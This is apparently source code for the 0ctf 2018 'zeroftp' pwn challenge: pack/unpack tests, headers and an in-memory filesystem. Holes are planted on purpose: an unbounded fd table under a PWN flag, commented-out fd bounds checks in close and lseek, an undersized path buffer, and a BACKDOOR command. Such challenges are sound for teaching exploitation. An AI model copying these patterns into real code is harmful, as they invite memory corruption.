    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_string(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

static void zero_short_raw_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    zero_raw_new(&zero_basic, "rrrrrrrrrrrrrrr", 0xf);

    uint8_t *in = malloc(0x300);
    uint8_t *out;
    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_raw(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

static void zero_long_raw_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    uint8_t buf[0x100];
    memset(buf, 'a', 0x100);

    zero_raw_new(&zero_basic, buf, 0x100);

    uint8_t *in = malloc(0x300);
    uint8_t *out;
    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_raw(in, &out, &tmp);
    LOG("%lx\n\n", out-in);

}

static void zero_int_little_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    zero_int_new(&zero_basic, 0x4142434445464748, 0x0);

    uint8_t *in = malloc(0x300);
    uint8_t *out;
    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_int(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

static void zero_int_big_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    zero_int_new(&zero_basic, 0x4142434445464748, 0x1);

    uint8_t *in = malloc(0x300);
    uint8_t *out;
    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_int(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

static void zero_list_test() {
    zero_basic_t *tmp = 0;

    zero_basic_t *zero_basic1;
    zero_raw_new(&zero_basic1, "rrrrrrrrrrrrrrr", 0xf);
    zero_basic_t *zero_basic2;
    zero_int_new(&zero_basic2, 0x4142434445464748, 0x1);

    zero_basic_t *zero_basic;
    zero_basic_t *zero_basic_list[3];
    zero_basic_list[0] = zero_basic1;
    zero_basic_list[1] = zero_basic2;
    zero_basic_list[2] = NULL;
    zero_list_new(&zero_basic, zero_basic_list);

    zero_basic_t *zero_basic3;
    zero_raw_new(&zero_basic3, "AAAAAAAAAAAAAAA", 0xf);
    zero_basic_t *zero_basic4;
    zero_int_new(&zero_basic4, 0x4242434445464748, 0x1);

    zero_basic_t *zero_basic5;
    zero_basic_t *zero_basic_list2[4];
    zero_basic_list2[0] = zero_basic3;
    zero_basic_list2[1] = zero_basic4;
    zero_basic_list2[2] = zero_basic;
    zero_basic_list2[3] = NULL;
    zero_list_new(&zero_basic5, zero_basic_list2);


    uint8_t *in = malloc(0x100);
    uint8_t *out;
    zero_pack(zero_basic5, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

void test_zero_pack() {
    //g_buf_len = 0x1000;
    //g_buf = malloc(g_buf_len);

    zero_bool_test();
    zero_string_test();
    zero_short_raw_test();
    zero_long_raw_test();
    zero_int_little_test();
    zero_int_big_test();
    zero_list_test();
}

void zero_basic_dump(zero_basic_t *target, size_t size) {
    printf("type : %d\n", target->type);
    printf("len  : %d\n", target->len);
    zero_hexdump(target->ptr, size);
}

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_pack.h
================================================
#ifndef ZERO_PACK_H
#define ZERO_PACK_H

#include <stdint.h>
#include <stdlib.h>

enum zero_basic_type {
    ZERO_BOOL = 1,
    ZERO_STRING = 2,
    ZERO_RAW = 3,
    ZERO_INT = 4,
    ZERO_LIST = 5
};

typedef uint8_t zero_info_t ;
typedef uint8_t zero_types_t ;

typedef struct zero_basic_t {
    uint8_t type;
    size_t len;
    void *ptr;
} zero_basic_t;

typedef int32_t result_t;

enum RETURN_RESULT {
    RET_SUCCESS = 0,
    RET_FAILED = -1,
} card;

#define ZERO_BASIC_TYPE(zero_basic) zero_basic->type
#define ZERO_BOOL_VAL(zero_basic) *((uint8_t *)zero_basic->ptr)
#define ZERO_INT_VAL(zero_basic) *((uint64_t *)(((char *)zero_basic->ptr)+1))
//#define ZERO_INT_VAL(zero_basic) *((uint64_t *)(((char *)zero_basic->ptr)+1))
#define ZERO_STRING_VAL(zero_basic) (char *)(zero_basic->ptr)

/*
 * functions
 */

int zero_unpack_bool(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
int zero_unpack_string(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
int zero_unpack_raw(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
int zero_unpack_int(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
//int zero_unpack_list(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
//int zero_unpack(uint8_t *in, uint8_t **out_p, zero_basic_t **zero_basic);
int zero_pack(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p);
void zero_bool_new(zero_basic_t **zero_basic_p, uint8_t val);
void zero_string_new(zero_basic_t **zero_basic_p, char *val);
void zero_raw_new(zero_basic_t **zero_basic_p, uint8_t *raw, size_t len);
void zero_int_new(zero_basic_t **zero_basic_p, uint64_t val, uint8_t endian);
void zero_list_new(zero_basic_t **zero_basic_p, zero_basic_t **list);
size_t zero_pack_len(zero_basic_t *zero_basic);
void zero_basic_free(zero_basic_t *zero_basic);

#ifdef DEBUG
void test_zero_pack();
void zero_basic_dump(zero_basic_t *, size_t);
#endif

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_proto.h
================================================
#ifndef ZERO_PROTO_H
#define ZERO_PROTO_H

#define ZERO_MAGIC 0xdd
#define ZERO_MAGIC_LEN 1

enum zeroftp_cmd_type {
    ZEROFTP_LOGIN = 1,
    ZEROFTP_LS,
    ZEROFTP_CD,
    ZEROFTP_MKDIR,
    ZEROFTP_RMDIR,
    ZEROFTP_RDFILE,
    ZEROFTP_WRFILE,
    ZEROFTP_RMFILE,
    ZEROFTP_FILEINFO,
    ZEROFTP_SETFILEINFO,
    ZEROFTP_BACKDOOR,
    ZEROFTP_QUIT,
};

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_utils.c
================================================
#include <stdio.h>
#include <unistd.h>

void zero_hexdump(unsigned char *mem, int len) {
    int i = 0;
    int j = 0;
    int maxlines = len/0x10+1;
    int tmp;

    for (; i < maxlines; i+=0x1) {
        if (i == maxlines-1) {
            tmp = len%0x10;

        } else {
            tmp = 0x10;

        }
        for (; j < tmp; j+=0x1) {
            if (j == 7) {
                //printf("%02x        ", *(mem+j+i*0x10));
                printf("%02x ", *(mem+j+i*0x10));

            } else {
                printf("%02x ", *(mem+j+i*0x10));

            }

        }
        puts("");
        j = 0x0;

    }

    write(1, mem, len);
    puts("\n");

}


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_utils.h
================================================
#ifndef ZERO_UTILS_H
#define ZERO_UTILS_H

#include <stdint.h>
#include <stdlib.h>

#define BITS(byte, start, end) ((byte>>start)&((1<<(end-start))-1))
#define BITS_SET(byte, pos) (byte|(1<<pos))
#define BITS_CLR(byte, pos) (byte&(~(1<<pos)))
#define BITS_SET_VAL(byte, start, end, val) ((byte)&\
                                            (~(((1<<(end-start))-1)<<start))|\
                                            (val<<start))

#define PTRARRAY_LEN(array, len) while(((uint64_t *)array)[len])len++;

#define MIN(a, b) a<b?a:b
#define MAX(a, b) a>b?a:b

void zero_hexdump(unsigned char *mem, int len);
//#ifdef DEBUG
//#define LOG(...) printf(__VA_ARGS__)
//#else
//#define LOG(...)
//#endif

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zerofs.c
================================================
/*************************************************************************
	> File Name: zerofs.c
	> Author:
	> Mail:
	> Created Time: Thu May  3 17:27:52 2018
 ************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include "zerofs.h"

/*
 * MACRO
 */

#ifdef DEBUG

#define LOG(format, args...) { \
	do { \
		dprintf(2, format"\n", ##args); \
	} while (0); \
}

#define DEBUG_CHECK(code) { \
	do { \
		code \
	} while(0); \
}

#else

#define LOG(format, args...) {}

#define DEBUG_CHECK(code) {}

#endif

#define INSERT_FNODE(fnode, dnode) { \
	do { \
		((fnode)->brother) = ((dnode)->info.child); \
		((fnode)->parent) = (dnode); \
		((dnode)->info.child) = fnode; \
   	} while (0); \
}

#define CHECK_MALLOC(ptr, err) { \
	do { \
		if ((ptr) == (err)) { \
			exit(-1); \
		} \
	} while (0); \
}


zerofs_state *state;

/*
 * Static Functions
 */

static int _create_block(void) {
	long int i, j;
	long int one = 1;
	for (i = 0; i < (BLOCKS_NUM / 0x40); i++) {
		if (state->disk->bitmap[i] == (long int) -1) {
			continue;
		}
		for (j = 0; j < 0x40; j++) {
			if (!((one << j) & state->disk->bitmap[i])) {
				LOG("[_create_block] find empty block");
				state->disk->bitmap[i] |= (one << j);
				return (i * 0x40 + j);
			}
		}
	}
	LOG("[_create_block] no enough block");
	exit(-1);
}

static int _free_block(int blockId) {
	long int i = blockId / 0x40;
	long int j = blockId % 0x40;
	long int one = 1;
	if (!(state->disk->bitmap[i] & (one << j))) {
		LOG("[_free_block] blockId (%d) not inuse", blockId);
		return -1;
	}
	state->disk->bitmap[i] ^= (one << j);
	state->disk->blocks[blockId].nextId = -1;
	LOG("[_free_block] blockId (%d) freed", blockId);
	return 0;
}

static long int _memory_truncate(long int blockId, off_t length, long int size) {
	long int blockId_;
	long int size_;
	if (!length) {
		if (blockId == -1) {
			return -1;
		}
		blockId_ = state->disk->blocks[blockId].nextId;
		_free_block(blockId);
		return _memory_truncate(blockId_, length, size - BLOCK_SIZE);
	}
	if (blockId == -1) {
		blockId = _create_block();
	}
	if (length <= BLOCK_SIZE) {
		if (length <= size) {
			blockId_ = state->disk->blocks[blockId].nextId;
			state->disk->blocks[blockId].nextId = _memory_truncate(blockId_, 0, size - BLOCK_SIZE);
			return blockId;
		} else {
			memset(&(state->disk->blocks[blockId].data[size]), 0, length - size);
			return blockId;
		}
	} else {
		if (size < 0) {
			size_ = 0;
		} else {
			size_ = size;
		}
		if (size < BLOCK_SIZE) {
			memset(&(state->disk->blocks[blockId].data[size_]), 0, BLOCK_SIZE - size_);
		}
		blockId_ = state->disk->blocks[blockId].nextId;
		state->disk->blocks[blockId].nextId = _memory_truncate(blockId_, length - BLOCK_SIZE, size - BLOCK_SIZE);
		return blockId;
	}
}

static ssize_t _memory_write(long int blockId, const void *buf, long int st, long int en) {
	long int blockId_ = state->disk->blocks[blockId].nextId;
	if (st >= BLOCK_SIZE) {
		if (blockId_ == -1) {
			blockId_ = state->disk->blocks[blockId].nextId = _create_block();
		}
		return _memory_write(blockId_, buf, st - BLOCK_SIZE, en - BLOCK_SIZE);
	}
	if (en > BLOCK_SIZE) {
		memcpy(&(state->disk->blocks[blockId].data[st]), buf, BLOCK_SIZE - st);
		buf = (char *)buf + BLOCK_SIZE - st;
		if (blockId_ == -1) {
			blockId_ = state->disk->blocks[blockId].nextId = _create_block();
		}
		return _memory_write(blockId_, buf, 0, en - BLOCK_SIZE) + BLOCK_SIZE - st;
	}
	memcpy(&(state->disk->blocks[blockId].data[st]), buf, en - st);
	return en - st;
}

static ssize_t _memory_read(long int blockId, void *buf, long int st, long int en) {
	if (blockId == -1) {
		LOG("[_memory_read] invalid blockId (%ld)", blockId);
		return -1;
	}
	long int blockId_ = state->disk->blocks[blockId].nextId;
	if (st >= BLOCK_SIZE) {
		return _memory_read(blockId_, buf, st - BLOCK_SIZE, en - BLOCK_SIZE);
	}
	if (en > BLOCK_SIZE) {
		memcpy(buf, &(state->disk->blocks[blockId].data[st]), BLOCK_SIZE - st);
		buf = (char *)buf + BLOCK_SIZE - st;
		return _memory_read(blockId_, buf, 0, en - BLOCK_SIZE) + BLOCK_SIZE - st;
	}
	memcpy(buf, &(state->disk->blocks[blockId].data[st]), en - st);
	return en - st;
}

static int _create_inode(void) {
	if (!state->disk->freeList) {
		LOG("[_create_inode] no enough inodes");
		exit(-1);
	}
	inode_t *inode = state->disk->freeList;
	state->disk->freeList = inode->info.next;
	inode->info.blockId = -1;
	inode->linkNr = 1;
	inode->size = 0;
	return inode->inumber;
}

static int _free_inode(long int inumber) {
	long int blockId = state->disk->inodes[inumber].info.blockId;
	long int res;

	inode_t *inode = &(state->disk->inodes[inumber]);
	if (inode->linkNr) {
		LOG("[_free_inode] inode is still inuse (%ld)", inumber);
		return -1;
	}

	while (blockId != -1) {
		res = blockId;
		blockId = state->disk->blocks[blockId].nextId;
		_free_block(res);
	}
	LOG("[_free_inode] blocks clear");
	inode->size = 0;

	inode->info.next = state->disk->freeList;
	state->disk->freeList = inode;
	return 0;
}

static char *_fullpath(fnode_t *fnode) {
	if (fnode->parent == fnode) {
		return strdup("/");
	}
	char *pas = _fullpath(fnode->parent);
	if (fnode->type == NORMAL_FILE) {
		char *res = malloc(strlen(pas) + strlen(fnode->name));
		strcpy(res, pas);
		strcat(res, fnode->name);
		free(pas);
		return res;
	} else {
		char *res = malloc(strlen(pas) + strlen(fnode->name) + 1);
		strcpy(res, pas);
		strcat(res, fnode->name);
		strcat(res, "/");
		free(pas);
		return res;
	}
}

static inline void _unlink_fnode(fnode_t *fnode) {
	fnode_t *dnode = fnode->parent;
	if (fnode == dnode) {
		LOG("[_unlink_fnode] try to unlink root");
		return;
	}
	if (dnode->info.child == fnode) {
		dnode->info.child = fnode->brother;
		return;
	}
	for (fnode_t *cur = dnode->info.child; cur != NULL; cur = cur->brother) {
		if (cur->brother == fnode) {
			cur->brother = fnode->brother;
			return;
		}
	}
	DEBUG_CHECK(exit(-1););
	return;
}

static char *_filename(const char *pathname) {
	const char *cur = &(pathname[strlen(pathname)-1]);
	while ((*cur != '/') && (cur != pathname - 1)) {
		cur--;
	}
	cur++;
	if (*cur == '\x00') {
		return NULL;
	} else {
		return strdup(cur);
	}
}

static fnode_t *_resolve_path(const char *pathname, int padir) {
	fnode_t *cur;
	char *tmp;
	if (pathname[0] == '/') {
		cur = state->root;
		if (pathname[1] == '\x00') {
			return cur;
		}
		tmp = strdup(pathname);
	} else {
		cur = state->pwd;
		tmp = malloc(strlen(pathname) + 3);
		CHECK_MALLOC(tmp, NULL);
		memset(tmp, 0, strlen(pathname) + 3);
		tmp[0] = '.';
		tmp[1] = '/';
		strcat(tmp + 2, pathname);
	}
	if (pathname[strlen(pathname)-1] == '/') {
		tmp[strlen(tmp)-1] = '\x00';
	}
	char c;
	if (padir) {
		do {
			c = tmp[strlen(tmp)-1];
			tmp[strlen(tmp)-1] = '\x00';
		} while (c != '/');
	}
	char *token = strtok(tmp, "/");
	while (token) {
		LOG("[_resolve_path] get token (%s)", token);
		if (strcmp(token, ".") == 0) {
			goto next;
		}
		if (strcmp(token, "..") == 0) {
			cur = cur->parent;
			goto next;
		}
		cur = cur->info.child;
		if (cur == NULL) {
			LOG("[_resolve_path] No subdir/subfile");
			free(tmp);
			return NULL;
		}
		while (strcmp(token, cur->name)) {
			cur = cur->brother;
			if (!cur) {
				LOG("[_resolve_path] No subdir/subfile with name (%s)", token);
				free(tmp);
				return NULL;
			}
		}
next:
		token = strtok(NULL, "/");
	}
	LOG("[_resolve_path] Find node (%s) for %s", cur->name, pathname);
	free(tmp);
	return cur;
}

static IOFile *_create_IOFile(fnode_t *fnode, int flags) {
	IOFile *io_file = (IOFile *) malloc(sizeof(IOFile));
	CHECK_MALLOC(io_file, NULL);

	io_file->fnode = fnode;
	io_file->cur = 0;
	io_file->flags = flags;

	return io_file;
}

static void _init_disk(zerofs_disk *disk) {
	for (int i = 0; i < (INODES_NUM - 1); i++) {
		disk->inodes[i].info.next = &(disk->inodes[i+1]);
		disk->inodes[i].inumber = i;
		disk->inodes[i].size = 0;
	}
	disk->inodes[INODES_NUM - 1].info.next = NULL;
	disk->inodes[INODES_NUM - 1].inumber = (INODES_NUM - 1);
	disk->inodes[INODES_NUM - 1].size = 0;
	disk->freeList = &(disk->inodes[0]);

	DEBUG_CHECK(
		int j = 0;
		for (inode_t *ptr = disk->freeList; ptr != NULL; ptr = ptr->info.next) {
			if ((ptr->inumber != j) || (ptr->size)) {
				exit(-1);
			}
			j++;
		}
		if (j == INODES_NUM) {
			LOG("[_init_disk] inodes.next ok");
		}
		else
			exit(-1);
	);

	for (int i = 0; i < BLOCKS_NUM; i++) {
		disk->blocks[i].nextId = -1;
	}
}

static int _insert_IOFile(IOFile *io_file) {
	int fd = 0;
	// XXX: BUG of unlimited fd
#ifdef PWN
	while (state->io_files[fd]) {
		fd++;
	}
	state->io_files[fd] = io_file;
	return fd;
#else
	for (fd = 0; fd < FD_MAX; fd++) {
		if (!state->io_files[fd]) {
			state->io_files[fd] = io_file;
			return fd;
		}
	}
	return -1;
#endif
}

static fnode_t *_create_fnode(file_t type, const char *name, perm_t perm, long int inumber) {
	fnode_t *node = (fnode_t*) malloc(sizeof(fnode_t));
	CHECK_MALLOC(node, 0);

	node->type = type;
	node->name = strdup(name);
	node->perm = perm;

	node->modifyTime = node->createTime = time(NULL);

	node->parent = node;
	node->brother = NULL;

	if (type == NORMAL_FILE) {
		if (inumber == -1) {
			node->info.inumber = _create_inode();
		} else {
			node->info.inumber = inumber;
			state->disk->inodes[inumber].linkNr++;
		}
	} else {
		node->info.child = NULL;
	}

	LOG("[_create_fnode] create fileNode ok (%s)", node->name);
	return node;
}

/*
 * API Functions
 */

ssize_t zerofs_initfs(const char *username) {
	LOG("[zerofs_initfs] zerofs_initfs starts");

	state = (zerofs_state*) malloc(sizeof(zerofs_state));
	CHECK_MALLOC(state, NULL);
	LOG("[zerofs_initfs] state ok (%#lx)", (unsigned long) state);

	state->userId = 0xdd; // ONLY XDD COULD HANDLE THIS FILESYSTEM
	LOG("[zerofs_initfs] userId ok (%#lx)", state->userId);

	state->username = strdup(username);
	LOG("[zerofs_initfs] username ok (%s)", state->username);

	state->disk = mmap(NULL, sizeof(zerofs_disk), PROT_READ|PROT_WRITE,  MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	CHECK_MALLOC(state->disk, MAP_FAILED);
	LOG("[zerofs_initfs] disk mmap ok (%#lx)", (unsigned long) state->disk);

	memset(state->disk, 0, sizeof(zerofs_disk));
	LOG("[zerofs_initfs] disk memset ok");

	_init_disk(state->disk);
	LOG("[zerofs_initfs] disk init ok");

	state->pwd = state->root = _create_fnode(DIRECTORY, "/", PWRITE|PREAD, -1);
	LOG("[zerofs_initfs] pwd and root ok (%#lx)", (unsigned long) state->root);

	memset(state->io_files, 0, sizeof(state->io_files));
	LOG("[zerofs_initfs] io_files ok");
	DEBUG_CHECK(
		for (int i = 0; i < FD_MAX; i++)
			if (state->io_files[i]) {
				LOG("[zerofs_initfs] error on io_files's memset");
				exit(-1);
			}
	);

	return 0;
}

int zerofs_open(const char *pathname, int flags){
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_open] no such a file (%s)", pathname);
		if (flags == O_RDONLY) {
			LOG("[zerofs_open] read a non-existed file (%s)", pathname);
			return -1;
		}
		fnode_t *dnode = _resolve_path(pathname, 1);
		if (!dnode) {
			LOG("[zerofs_open] no such file or directory (%s)", pathname);
			return -1;
		}
		if ((dnode->perm & PWRITE) == 0) {
			LOG("[zerofs_open] cannot create anything in a non-write dir (%s)", dnode->name);
			return -1;
		}

		char *filename = _filename(pathname);
		if (!filename) {
			LOG("[zerofs_open] no filename (%s)", pathname);
			return -1;
		}
		fnode = _create_fnode(NORMAL_FILE, filename, PWRITE|PREAD, -1);
		free(filename);
		INSERT_FNODE(fnode, dnode);
	} else {
		if (fnode->type == DIRECTORY) {
			LOG("[zerofs_open] try to open a directory (%s)", fnode->name);
			return -1;
		}
		if ((flags == O_RDONLY) && (!(fnode->perm & PREAD))) {
			LOG("[zerofs_open] access delay (%s)", fnode->name);
			return -1;
		}
		if ((flags == O_WRONLY) && (!(fnode->perm & PWRITE))) {
			LOG("[zerofs_open] access delay (%s)", fnode->name);
			return -1;
		}
		if ((flags == O_RDWR) && ((fnode->perm & (PWRITE|PREAD)) != (PWRITE|PREAD))) {
			LOG("[zerofs_open] access delay (%s)", fnode->name);
			return -1;
		}
	}
	IOFile *io_file = _create_IOFile(fnode, flags);
	return _insert_IOFile(io_file);
}

int zerofs_close(int fd) {
	if (!state->io_files[fd]) {
		LOG("[zerofs_close] unused fd (%d)", fd);
		return -1;
	}
	// if ((fd < 0) || (fd >= FD_MAX)) {
	// 	LOG("[zerofs_close] invalid fd (%d)", fd);
	// 	return -1;
	// }
	free(state->io_files[fd]);
	state->io_files[fd] = 0;
	return 0;
}

int zerofs_chdir(const char *pathname) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_chdir] no such directory (%s)", pathname);
		return -1;
	}
	if (fnode->type != DIRECTORY) {
		LOG("[zerofs_chdir] pathname is not a directory (%s)", pathname);
		return -1;
	}
	state->pwd = fnode;
	LOG("[zerofs_chdir] pwd is \"%s\" now", state->pwd->name);
	return 0;
}

int zerofs_mkdir(const char *pathname, int flags) {
	fnode_t *dnode = _resolve_path(pathname, 1);
	if (!dnode) {
		LOG("[zerofs_mkdir] no such directory (%s)", pathname);
		return -1;
	}
	if (dnode->type != DIRECTORY) {
		LOG("[zerofs_mkdir] no such directory (%s)", pathname);
		return -1;
	}
	if (!(dnode->perm & PWRITE)) {
		LOG("[zerofs_mkdir] directory cannot be written (%s)", dnode->name);
		return -1;
	}
	if (_resolve_path(pathname, 0)) {
		LOG("[zerofs_mkdir] directory already exists (%s)", pathname);
		return -1;
	}
	perm_t perm;
	switch (flags) {
		case O_RDONLY: perm = PREAD; break;
		case O_WRONLY: perm = PWRITE; break;
		case O_RDWR: perm = PWRITE|PREAD; break;
		default: LOG("[zerofs_mkdir] invalid flags (%d)", flags); return -1;
	}
	char *filename = _filename(pathname);
	fnode_t *fnode = _create_fnode(DIRECTORY, filename, perm, -1);
	free(filename);
	LOG("[zerofs_mkdir] new fnode (%p)", fnode);
	INSERT_FNODE(fnode, dnode);
	return 0;
}

int zerofs_rmdir(const char *pathname) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_rmdir] no such directory (%s)", pathname);
		return -1;
	}
	if (fnode->info.child) {
		LOG("[zerofs_rmdir] directory is not empty (%s)", pathname);
		return -1;
	}
	if (fnode->type != DIRECTORY) {
		LOG("[zerofs_rmdir] no such directory (%s)", pathname);
		return -1;
	}
	// XXX: BUG for target directory is pwd
//#ifdef PWN
	// NOTHING TO DO
//#else
	if (fnode == state->pwd) {
		LOG("[zerofs_rmdir] cannot remove pwd (%s)", pathname);
		return -1;
	}
//#endif
	LOG("[zerofs_rmdir] remove directory (%s)", fnode->name);
	_unlink_fnode(fnode);
	free(fnode);
	return 0;
}

off_t zerofs_lseek(int fd, off_t offset, int whence) {
	// if ((fd < 0) || (fd >= FD_MAX)) {
	// 	LOG("[zerofs_lseek] invalid fd (%d)", fd);
	// 	return -1;
	// }
	if (!state->io_files[fd]) {
		LOG("[zerofs_lseek] no such fd (%d)", fd);
		return -1;
	}
	IOFile *io_file = state->io_files[fd];
	long int offset_;
	long int file_size = state->disk->inodes[io_file->fnode->info.inumber].size;
	switch (whence) {
		case SEEK_SET: offset_ = offset; break;
		case SEEK_CUR: offset_ = offset + io_file->cur; break;
		case SEEK_END: offset_ = offset + file_size; break;
		default: return -1;
	}
	if ((offset_ < 0) || (offset_ > file_size)) {
		LOG("[zerofs_lseek] invalid offset (%ld)", offset);
		return -1;
	}
	io_file->cur = offset_;
	return io_file->cur;
}

char **zerofs_list(const char *pathname) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	char **res;
	if (!fnode) {
		LOG("[zerofs_list] no such file or directory (%s)", pathname);
fail:
		res = malloc(sizeof(char *));
		CHECK_MALLOC(res, 0);
		*res = NULL;
		return res;
	}
	if (fnode->type == DIRECTORY) {
		LOG("[zerofs_list] find directory (%s)", fnode->name);
		if (!(fnode->perm & PREAD)) {
			LOG("[zerofs_list] access delay (%s)", fnode->name);
			goto fail;
		}
		int num = 0;
		for (fnode_t *cur = fnode->info.child; cur != NULL; cur = cur->brother) {
			num++;
		}
		LOG("[zerofs_list] find %d children", num);
		res = malloc(sizeof(char *) * (num + 1));
		CHECK_MALLOC(res, 0);
		num = 0;
		for (fnode_t *cur = fnode->info.child; cur != NULL; cur = cur->brother) {
			res[num] = _fullpath(cur);
			num++;
		}
		res[num] = NULL;
		return res;
	}
	if (fnode->type == NORMAL_FILE) {
		LOG("[zerofs_list] find normal file (%s)", fnode->name);
		if (!(fnode->parent->perm & PREAD)) {
			LOG("[zerofs_list] access delay (%s)", fnode->parent->name);
			goto fail;
		}
		res = malloc(sizeof(char *) * 2);
		res[0] = _fullpath(fnode);
		res[1] = NULL;
		return res;
	}
	goto fail;
}

int zerofs_elemset(const char *pathname, elem_t elem, value_t value) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_elemset] no such file or directory (%s)", pathname);
		return -1;
	}
	switch (elem) {
		case FNAME:
			if (!strcmp(value.ptr, ".") || !strcmp(value.ptr, "..") || strchr(value.ptr, '/')) {
				LOG("[zerofs_elemset] invalid new name (%s)", value.ptr);
				return -1;
			}
			// if (fnode->parent == fnode) {
			// 	LOG("[zerofs_elemset] try to rename root");
			// 	return -1;
			// }
			LOG("[zerofs_elemset] checking same name (%s)", value.ptr);
			for (fnode_t *cur = fnode->parent->info.child; cur != NULL; cur = cur->brother) {
				LOG("[zerofs_elemset] cur name (%s)", cur->name);
				if (!strcmp(value.ptr, cur->name)) {
					LOG("[zerofs_elemset] same name in directory (%s)", value.ptr);
					return -1;
				}
			}
			LOG("[zerofs_elemset] valid name (%s)", value.ptr);
			// free(fnode->name);
			// fnode->name = strdup(value.ptr);
			if (strlen(value.ptr)<=strlen(fnode->name))
				strncpy(fnode->name, value.ptr, strlen(fnode->name));
			else {
				free(fnode->name);
				fnode->name = strdup(value.ptr);
			}
			break;
		case FTYPE:
			LOG("[zerofs_elemset] cannot set type");
			return -1;
			// fnode->type = value.num;
			// break;
		case FPERM:
			fnode->perm = value.num;
			break;
		case FSIZE:
			LOG("[zerofs_elemset] cannot set size");
			return -1;
		case FLINK:
			LOG("[zerofs_elemset] cannot set link number");
			return -1;
		case FCTIME:
			fnode->createTime = value.num;
			break;
		case FMTIME:
			fnode->modifyTime = value.num;
			break;
		default:
			LOG("[zerofs_elemset] invalid type");
			return -1;
	}
	LOG("[zerofs_elemset] set value (%#lx)", value.num);
	return 0;
}

value_t zerofs_elemget(const char *pathname, elem_t elem) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	value_t value;
	if (!fnode) {
		LOG("[zerofs_elemget] no such file or directory (%s)", pathname);
		value.num = -1;
		return value;
	}
	switch (elem) {
		case FNAME:
			value.ptr = strdup(fnode->name);
			break;
		case FTYPE:
			value.num = fnode->type;
			break;
		case FPERM:
			value.num = fnode->perm;
			break;
		case FSIZE:
			if (fnode->type == DIRECTORY) {
				value.num = 320;
			} else {
				value.num = state->disk->inodes[fnode->info.inumber].size;
			}
			break;
		case FLINK:
			if (fnode->type == DIRECTORY) {
				value.num = 1;
			} else {
				value.num = state->disk->inodes[fnode->info.inumber].linkNr;
			}
			break;
		case FCTIME:
			value.num = fnode->createTime;
			break;
		case FMTIME:
			value.num = fnode->modifyTime;
			break;
		default:
			value.num = -1;
	}
	LOG("[zerofs_elemget] get value (%#lx)", value.num);
	return value;
}

int zerofs_link(const char *oldpath, const char *newpath) {
	fnode_t *old_fnode = _resolve_path(oldpath, 0);
	if (!old_fnode) {
		LOG("[zerofs_link] no such file (%s)", oldpath);
		return -1;
	}
	if (old_fnode->type == DIRECTORY) {
		LOG("[zerofs_link] %s is a directory", old_fnode->name);
		return -1;
	}

	if (_resolve_path(newpath, 0)) {
		LOG("[zerofs_link] file already exists (%s)", newpath);
		return -1;
	}
	fnode_t *new_dnode = _resolve_path(newpath, 1);
	if (!new_dnode) {
		LOG("[zerofs_link] no sucu directory (%s)", newpath);
		return -1;
	}
	if (new_dnode->type == NORMAL_FILE) {
		LOG("[zerofs_link] %s is a normal file", new_dnode->name);
		return -1;
	}
	if (!(new_dnode->perm & PWRITE)) {
		LOG("[zerofs_link] access delay (%s)", new_dnode->name);
		return -1;
	}
	char *filename = _filename(newpath);
	fnode_t *new_fnode = _create_fnode(NORMAL_FILE, filename, old_fnode->perm, old_fnode->info.inumber);
	free(filename);
	INSERT_FNODE(new_fnode, new_dnode);
	return 0;
}

int zerofs_unlink(const char *pathname) {
	fnode_t *fnode = _resolve_path(pathname, 0);
	if (!fnode) {
		LOG("[zerofs_unlink] no such file or directory (%s)", pathname);
		return -1;
	}
	if (fnode->type == DIRECTORY) {
		LOG("[zerofs_unlink] cannot unlink a directory");
		return -1;
	}
	for (int fd = 0; fd < FD_MAX; fd++) {
		if ((state->io_files[fd]) && (state->io_files[fd]->fnode == fnode)) {
			int res = zerofs_close(fd);
			LOG("[zerofs_unlink] close fd (%d) with return value (%d)", fd, res);
		}
	}
	LOG("[zerofs_unlink] clear all fds");
	if (!(--state->disk->inodes[fnode->info.inumber].linkNr)) {
		_free_inode(fnode->info.inumber);
	}

	free(fnode->name);
	_unlink_fnode(fnode);
	free(fnode);
	fnode = 0;
	return 0;
}

char *zerofs_pwd(void) {
	return _fullpath(state->pwd);
}

